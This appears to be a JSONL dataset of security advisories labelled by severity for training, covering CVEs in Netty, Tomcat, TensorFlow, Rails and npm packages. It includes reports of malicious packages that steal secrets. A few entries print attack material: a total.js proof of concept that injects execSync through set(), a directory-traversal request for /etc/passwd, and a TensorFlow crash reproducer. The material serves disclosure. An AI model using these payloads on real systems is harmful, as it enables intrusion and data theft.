-{"id": "5f2fc4826aef2deb5702", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "0f85a3fbb72914f47056", "text": "HTTP Request Smuggling in Netty\n\nNetty 4.1.43.Final allows HTTP Request Smuggling because it mishandles Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header. This issue exists because of an incomplete fix for CVE-2019-16869.", "text_raw": "HTTP Request Smuggling in Netty\n\n[Severity: HIGH]\n\nNetty 4.1.43.Final allows HTTP Request Smuggling because it mishandles Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header. This issue exists because of an incomplete fix for CVE-2019-16869.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-21", "split": "train"}
-{"id": "aa2d8770bf55ceec1894", "text": "The defaults settings for the CORS filter provided in Apache Tomcat are insecure and enable 'supportsCredentials' for all origins\n\nThe defaults settings for the CORS filter provided in Apache Tomcat 9.0.0.M1 to 9.0.8, 8.5.0 to 8.5.31, 8.0.0.RC1 to 8.0.52, 7.0.41 to 7.0.88 are insecure and enable 'supportsCredentials' for all origins. It is expected that users of the CORS filter will have configured it appropriately for their environment rather than using it in the default configuration. Therefore, it is expected that most users will not be impacted by this issue.", "text_raw": "The defaults settings for the CORS filter provided in Apache Tomcat are insecure and enable 'supportsCredentials' for all origins\n\n[Severity: CRITICAL]\n\nThe defaults settings for the CORS filter provided in Apache Tomcat 9.0.0.M1 to 9.0.8, 8.5.0 to 8.5.31, 8.0.0.RC1 to 8.0.52, 7.0.41 to 7.0.88 are insecure and enable 'supportsCredentials' for all origins. It is expected that users of the CORS filter will have configured it appropriately for their environment rather than using it in the default configuration. Therefore, it is expected that most users will not be impacted by this issue.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "f836e871544b3dc67e12", "text": "private_address_check contains Incomplete List of Disallowed Inputs\n\nThe private_address_check ruby gem before 0.4.1 is vulnerable to a bypass due to an incomplete blacklist of common private/local network addresses used to prevent server-side request forgery.", "text_raw": "private_address_check contains Incomplete List of Disallowed Inputs\n\n[Severity: HIGH]\n\nThe private_address_check ruby gem before 0.4.1 is vulnerable to a bypass due to an incomplete blacklist of common private/local network addresses used to prevent server-side request forgery.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-30", "split": "train"}
-{"id": "247d9fe67d12ed90aea4", "text": "codecov NPM module allows remote attackers to execute arbitrary commands\n\ncodecov-node npm module before 3.6.5 allows remote attackers to execute arbitrary commands.The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.", "text_raw": "codecov NPM module allows remote attackers to execute arbitrary commands\n\n[Severity: HIGH]\n\ncodecov-node npm module before 3.6.5 allows remote attackers to execute arbitrary commands.The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-19", "split": "train"}
-{"id": "0eefb0681fd4d0534ce9", "text": "Reference binding to `nullptr` in `tf.ragged.cross`\n\n### Impact\nThe [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) has an undefined behavior due to binding a reference to `nullptr`. In the following scenario, this results in a crash:\n\n```python\nimport tensorflow as tf\n\n@tf.function                 \ndef test():     \n  y = tf.ragged.cross([tf.ragged.constant([['1']]),'2'])\n  return y\n\ntest()        \n```\n\n### Patches\nWe have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to `nullptr` in `tf.ragged.cross`\n\n[Severity: HIGH]\n\n### Impact\nThe [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) has an undefined behavior due to binding a reference to `nullptr`. In the following scenario, this results in a crash:\n\n```python\nimport tensorflow as tf\n  \n@tf.function                 \ndef test():     \n  y = tf.ragged.cross([tf.ragged.constant([['1']]),'2'])\n  return y                   \n                             \ntest()        \n```                          \n             \n### Patches\nWe have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).\n  \nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "a4318f4f2f45bf2d29d9", "text": "Null pointer deference in openssl-src\n\nServer or client applications that call the SSL_check_chain() function during or after a TLS 1.3 handshake may crash due to a NULL pointer dereference as a result of incorrect handling of the \"signature_algorithms_cert\" TLS extension. The crash occurs if an invalid or unrecognised signature algorithm is received from the peer. This could be exploited by a malicious peer in a Denial of Service attack. OpenSSL version 1.1.1d, 1.1.1e, and 1.1.1f are affected by this issue. This issue did not affect OpenSSL versions prior to 1.1.1d. Fixed in OpenSSL 1.1.1g (Affected 1.1.1d-1.1.1f).", "text_raw": "Null pointer deference in openssl-src \n\n[Severity: HIGH]\n\nServer or client applications that call the SSL_check_chain() function during or after a TLS 1.3 handshake may crash due to a NULL pointer dereference as a result of incorrect handling of the \"signature_algorithms_cert\" TLS extension. The crash occurs if an invalid or unrecognised signature algorithm is received from the peer. This could be exploited by a malicious peer in a Denial of Service attack. OpenSSL version 1.1.1d, 1.1.1e, and 1.1.1f are affected by this issue. This issue did not affect OpenSSL versions prior to 1.1.1d. Fixed in OpenSSL 1.1.1g (Affected 1.1.1d-1.1.1f).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7f784d003d77f67719d5", "text": "Prefix escape\n\n### Impact\n\nBy crafting a specific URL, it is possible to escape the prefix of the proxied backend service.\nIf the base url of the proxied server is `/pub/`, a user expect that accessing `/priv` on the target service would not be possible. Unfortunately, it is.\n\n### Patches\n\nAll releases after v4.3.1 include the fix.\n\n### Workarounds\n\nThere are no workaround available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-reply-from](https://github.com/fastify/fastify-reply-from)\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)", "text_raw": "Prefix escape\n\n[Severity: LOW]\n\n### Impact\n\nBy crafting a specific URL, it is possible to escape the prefix of the proxied backend service.\nIf the base url of the proxied server is `/pub/`, a user expect that accessing `/priv` on the target service would not be possible. Unfortunately, it is.\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)\n\n### Patches\n\nAll releases after v4.3.1 include the fix.\n\n### Workarounds\n\nThere are no workaround available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-reply-from](https://github.com/fastify/fastify-reply-from)\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-03", "split": "train"}
-{"id": "af58059faf64e92a2779", "text": "jquery-ui Tooltip widget vulnerable to XSS\n\nCross-site scripting (XSS) vulnerability in the default content option in jquery.ui.tooltip.js in the Tooltip widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title attribute, which is not properly handled in the autocomplete combo box demo.", "text_raw": "jquery-ui Tooltip widget vulnerable to XSS\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the default content option in jquery.ui.tooltip.js in the Tooltip widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title attribute, which is not properly handled in the autocomplete combo box demo.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "b6a428463692593b03d1", "text": "Remote Code Execution in SCIMono\n\n### Impact\nIt is possible for attacker to inject and execute java expression and compromising the availability and integrity of the system.\n\n### Patches\nThe issue was fixed on  [0.0.19 version](https://mvnrepository.com/artifact/com.sap.scimono/scimono-server/0.0.19)", "text_raw": "Remote Code Execution in SCIMono\n\n[Severity: HIGH]\n\n### Impact\nIt is possible for attacker to inject and execute java expression and compromising the availability and integrity of the system.\n\n### Patches\nThe issue was fixed on  [0.0.19 version](https://mvnrepository.com/artifact/com.sap.scimono/scimono-server/0.0.19)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-10", "split": "train"}
-{"id": "b6d452ce48b6d819c41d", "text": "Improper Access Control in Apache Airflow\n\nImproper Access Control on Configurations Endpoint for the Stable API of Apache Airflow allows users with Viewer or User role to get Airflow Configurations including sensitive information even when `[webserver] expose_config` is set to `False` in `airflow.cfg`. This allowed a privilege escalation attack. This issue affects Apache Airflow 2.0.0.", "text_raw": "Improper Access Control in Apache Airflow\n\n[Severity: HIGH]\n\nImproper Access Control on Configurations Endpoint for the Stable API of Apache Airflow allows users with Viewer or User role to get Airflow Configurations including sensitive information even when `[webserver] expose_config` is set to `False` in `airflow.cfg`. This allowed a privilege escalation attack. This issue affects Apache Airflow 2.0.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "87ef8eaa3774a074e684", "text": "smb is malware\n\nThe `smb` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "smb is malware\n\n[Severity: HIGH]\n\nThe `smb` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "0e44b29b47db8fd4e05c", "text": "Path traversal in grav\n\ngrav is vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "text_raw": "Path traversal in grav\n\n[Severity: HIGH]\n\ngrav is vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "97acf1ebe475b5adf7f4", "text": "Drupal core third-party PEAR Archive_Tar library is vulnerable to Deserialization of Untrusted Data\n\nIn Drupal Core versions 7.x prior to 7.62, 8.6.x prior to 8.6.6 and 8.5.x prior to 8.5.9; Drupal core uses the third-party PEAR Archive_Tar library. This library has released a security update which impacts some Drupal configurations. Refer to CVE-2018-1000888 for details", "text_raw": "Drupal core third-party PEAR Archive_Tar library is vulnerable to Deserialization of Untrusted Data\n\n[Severity: HIGH]\n\nIn Drupal Core versions 7.x prior to 7.62, 8.6.x prior to 8.6.6 and 8.5.x prior to 8.5.9; Drupal core uses the third-party PEAR Archive_Tar library. This library has released a security update which impacts some Drupal configurations. Refer to CVE-2018-1000888 for details", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "1879b616fa4b751600a3", "text": "Directory Traversal in nodeaaaaa\n\nAffected versions of `nodeaaaaa` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in nodeaaaaa\n\n[Severity: HIGH]\n\nAffected versions of `nodeaaaaa` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "60a030be9d7843ed6bdd", "text": "Downloads Resources over HTTP in nodewebkit\n\nAffected versions of `nodewebkit` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nodewebkit`.\n\n## Recommendation\n\nNo patch is currently available, and the package author has deprecated this package.\n\nThe best path forward in mitigating this vulnerability is to use the [official installer](https://www.npmjs.com/nw) instead of this package, as per the package author's instructions.", "text_raw": "Downloads Resources over HTTP in nodewebkit\n\n[Severity: HIGH]\n\nAffected versions of `nodewebkit` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nodewebkit`.\n\n\n## Recommendation\n\nNo patch is currently available, and the package author has deprecated this package. \n\nThe best path forward in mitigating this vulnerability is to use the [official installer](https://www.npmjs.com/nw) instead of this package, as per the package author's instructions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "c5865dfdf473537ffbc6", "text": "Prototype Pollution in smart-extend\n\nAll versions of `smart-extend` are vulnerable to Prototype Pollution. The `deep()` function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Prototype Pollution in smart-extend\n\n[Severity: MEDIUM]\n\nAll versions of `smart-extend` are vulnerable to Prototype Pollution. The `deep()` function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "75a7bc886282b4a5e733", "text": "Rack vulnerable to REDoS\n\n`lib/rack/multipart.rb` in Rack before 1.1.4, 1.2.x before 1.2.6, 1.3.x before 1.3.7, and 1.4.x before 1.4.2 uses an incorrect regular expression, which allows remote attackers to cause a denial of service (infinite loop) via a crafted Content-Disposion header.", "text_raw": "Rack vulnerable to REDoS\n\n[Severity: MEDIUM]\n\n`lib/rack/multipart.rb` in Rack before 1.1.4, 1.2.x before 1.2.6, 1.3.x before 1.3.7, and 1.4.x before 1.4.2 uses an incorrect regular expression, which allows remote attackers to cause a denial of service (infinite loop) via a crafted Content-Disposion header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "38f0806e0d016645cab9", "text": "Improper Access Control in passport-oauth2\n\nThe passport-oauth2 package before 1.6.1 for Node.js mishandles the error condition of failure to obtain an access token. This is exploitable in certain use cases where an OAuth identity provider uses an HTTP 200 status code for authentication-failure error reports, and an application grants authorization upon simply receiving the access token (i.e., does not try to use the token). NOTE: the passport-oauth2 vendor does not consider this a passport-oauth2 vulnerability.", "text_raw": "Improper Access Control in passport-oauth2\n\n[Severity: MEDIUM]\n\nThe passport-oauth2 package before 1.6.1 for Node.js mishandles the error condition of failure to obtain an access token. This is exploitable in certain use cases where an OAuth identity provider uses an HTTP 200 status code for authentication-failure error reports, and an application grants authorization upon simply receiving the access token (i.e., does not try to use the token). NOTE: the passport-oauth2 vendor does not consider this a passport-oauth2 vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "5c0bc50445b0479a04cc", "text": "Cross-Site Scripting in bootstrap-vue\n\nVersions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.\n\n## Recommendation\n\nUpgrade to version 2.0.0-rc.12 or later.", "text_raw": "Cross-Site Scripting in bootstrap-vue\n\n[Severity: HIGH]\n\nVersions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0-rc.12 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "0ce87455a105a3dc20b7", "text": "JSON gem has Improper Input Validation vulnerability\n\nThe JSON gem before 1.5.5, 1.6.x before 1.6.8, and 1.7.x before 1.7.7 for Ruby allows remote attackers to cause a denial of service (resource consumption) or bypass the mass assignment protection mechanism via a crafted JSON document that triggers the creation of arbitrary Ruby symbols or certain internal objects, as demonstrated by conducting a SQL injection attack against Ruby on Rails, aka \"Unsafe Object Creation Vulnerability.\"", "text_raw": "JSON gem has Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nThe JSON gem before 1.5.5, 1.6.x before 1.6.8, and 1.7.x before 1.7.7 for Ruby allows remote attackers to cause a denial of service (resource consumption) or bypass the mass assignment protection mechanism via a crafted JSON document that triggers the creation of arbitrary Ruby symbols or certain internal objects, as demonstrated by conducting a SQL injection attack against Ruby on Rails, aka \"Unsafe Object Creation Vulnerability.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "264cbcb23ce7f0adc386", "text": "Ensure that doorkeeper_token is valid when authenticating requests in API v2 calls\n\n### Impact\nThe perpetrator who previously obtained an old expired user token could use it to access Storefront API v2 endpoints.\n\n### Patches\nPlease upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version.\n\n### Workarounds\nIn your project directory create a decorator file `app/controllers/spree/api/v2/base_controller_decotatror.rb` with contents:\n\n```ruby\nmodule Spree\n  module Api\n    module V2\n      module BaseControllerDecorator\n        private\n\ndef spree_current_user\n          return nil unless doorkeeper_token\n          return @spree_current_user if @spree_current_user\n\ndoorkeeper_authorize!\n\n@spree_current_user ||= ::Spree.user_class.find_by(id: doorkeeper_token.resource_owner_id)\n        end\n     end\n  end\nend\n\nSpree::Api::V2::BaseController.prepend(Spree::Api::V2::BaseControllerDecorator)\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@spreecommerce.org](mailto:security@spreecommerce.org)", "text_raw": "Ensure that doorkeeper_token is valid when authenticating requests in API v2 calls\n\n[Severity: HIGH]\n\n### Impact\nThe perpetrator who previously obtained an old expired user token could use it to access Storefront API v2 endpoints. \n\n### Patches\nPlease upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version. \n\n### Workarounds\nIn your project directory create a decorator file `app/controllers/spree/api/v2/base_controller_decotatror.rb` with contents:\n\n```ruby\nmodule Spree\n  module Api\n    module V2\n      module BaseControllerDecorator\n        private\n\n        def spree_current_user\n          return nil unless doorkeeper_token\n          return @spree_current_user if @spree_current_user\n\n          doorkeeper_authorize!\n\n          @spree_current_user ||= ::Spree.user_class.find_by(id: doorkeeper_token.resource_owner_id)\n        end\n     end\n  end\nend\n\nSpree::Api::V2::BaseController.prepend(Spree::Api::V2::BaseControllerDecorator)\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@spreecommerce.org](mailto:security@spreecommerce.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-20", "split": "train"}
-{"id": "248a76f61f04ba7d855d", "text": "Regular Expression Denial of Service in bleach\n\nAll versions of the `bleach` package are vulnerable to a regular expression denial of service attack when certain types of input are passed into the sanitize function.\n\n## Recommendation\n\nThe `bleach` package is not currently maintained, and has not seen an update since 2014.\n\nTo mitigate this issue, it is necessary to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=html%20sanitizer&page=1&ranking=optimal).", "text_raw": "Regular Expression Denial of Service in bleach\n\n[Severity: MEDIUM]\n\nAll versions of the `bleach` package are vulnerable to a regular expression denial of service attack when certain types of input are passed into the sanitize function.\n\n\n\n## Recommendation\n\nThe `bleach` package is not currently maintained, and has not seen an update since 2014. \n\nTo mitigate this issue, it is necessary to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=html%20sanitizer&page=1&ranking=optimal).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "33acd1cbd0e61fbb07a3", "text": "Rack vulnerable to Denial of Service\n\nThere is a possible DoS vulnerability in the multipart parser in Rack before 2.0.6. Specially crafted requests can cause the multipart parser to enter a pathological state, causing the parser to use CPU resources disproportionate to the request size.", "text_raw": "Rack vulnerable to Denial of Service\n\n[Severity: HIGH]\n\nThere is a possible DoS vulnerability in the multipart parser in Rack before 2.0.6. Specially crafted requests can cause the multipart parser to enter a pathological state, causing the parser to use CPU resources disproportionate to the request size.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-15", "split": "train"}
-{"id": "6e61eb010bac3e7fe015", "text": "Heap overflow or corruption in safe-transmute\n\nAffected versions of this crate switched the length and capacity arguments in the Vec::from_raw_parts() constructor, which could lead to memory corruption or data leakage.", "text_raw": "Heap overflow or corruption in safe-transmute\n\n[Severity: CRITICAL]\n\nAffected versions of this crate switched the length and capacity arguments in the Vec::from_raw_parts() constructor, which could lead to memory corruption or data leakage.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "94f4e607ea2b3a2c70c8", "text": "total.js Remote Code Execution Vulnerability\n\ntotal.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.\n\n### PoC\n```js\n// To be run in a nodejs console: \nrequire('total.js/utils').set({}, 'a;eval(`require(\"child_process\")\\\\x2eexecSync(\"touch pwned\")`);//')\n```", "text_raw": "total.js Remote Code Execution Vulnerability\n\n[Severity: CRITICAL]\n\ntotal.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.\n\n### PoC\n```js\n// To be run in a nodejs console: \nrequire('total.js/utils').set({}, 'a;eval(`require(\"child_process\")\\\\x2eexecSync(\"touch pwned\")`);//')\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "19a16dd14d042a54445c", "text": "Microsoft Hyper-V RemoteFX vGPU Remote Code Execution Vulnerability\n\nAffected: Microsoft Hyper-V RemoteFX\n\nMicrosoft Hyper-V RemoteFX vGPU contains an improper input validation vulnerability due to the host server failing to properly validate input from an authenticated user on a guest operating system. Successful exploitation allows for remote code execution on the host operating system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Hyper-V RemoteFX vGPU Remote Code Execution Vulnerability\n\nAffected: Microsoft Hyper-V RemoteFX\n\nMicrosoft Hyper-V RemoteFX vGPU contains an improper input validation vulnerability due to the host server failing to properly validate input from an authenticated user on a guest operating system. Successful exploitation allows for remote code execution on the host operating system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a8452c4c44fa00d60694", "text": "Malicious Package in k0a_multer\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in k0a_multer\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6931097d84f3e67ccdaf", "text": "Withdrawn, accidental duplicate publish.\n\nThe (1) jdom.rb and (2) rexml.rb components in Active Support in Ruby on Rails before 4.1.11 and 4.2.x before 4.2.2, when JDOM or REXML is enabled, allow remote attackers to cause a denial of service (SystemStackError) via a large XML document depth.", "text_raw": "Moderate severity vulnerability that affects activesupport\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe (1) jdom.rb and (2) rexml.rb components in Active Support in Ruby on Rails before 4.1.11 and 4.2.x before 4.2.2, when JDOM or REXML is enabled, allow remote attackers to cause a denial of service (SystemStackError) via a large XML document depth.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "6ef173b178a5cf3eea4c", "text": "python-gnupg vulnerable to shell injection\n\npython-gnupg 0.3.5 and 0.3.6 allow for shell injection via a failure to escape backslashes in the `shell_quote()` function. NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.", "text_raw": "python-gnupg vulnerable to shell injection\n\n[Severity: CRITICAL]\n\npython-gnupg 0.3.5 and 0.3.6 allow for shell injection via a failure to escape backslashes in the `shell_quote()` function. NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "9a36bbdb40f3c6fe585f", "text": "Malicious Package in ecuvre\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ecuvre\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cfaf34636a32310367b2", "text": "Malicious Package in mogoose\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in mogoose\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
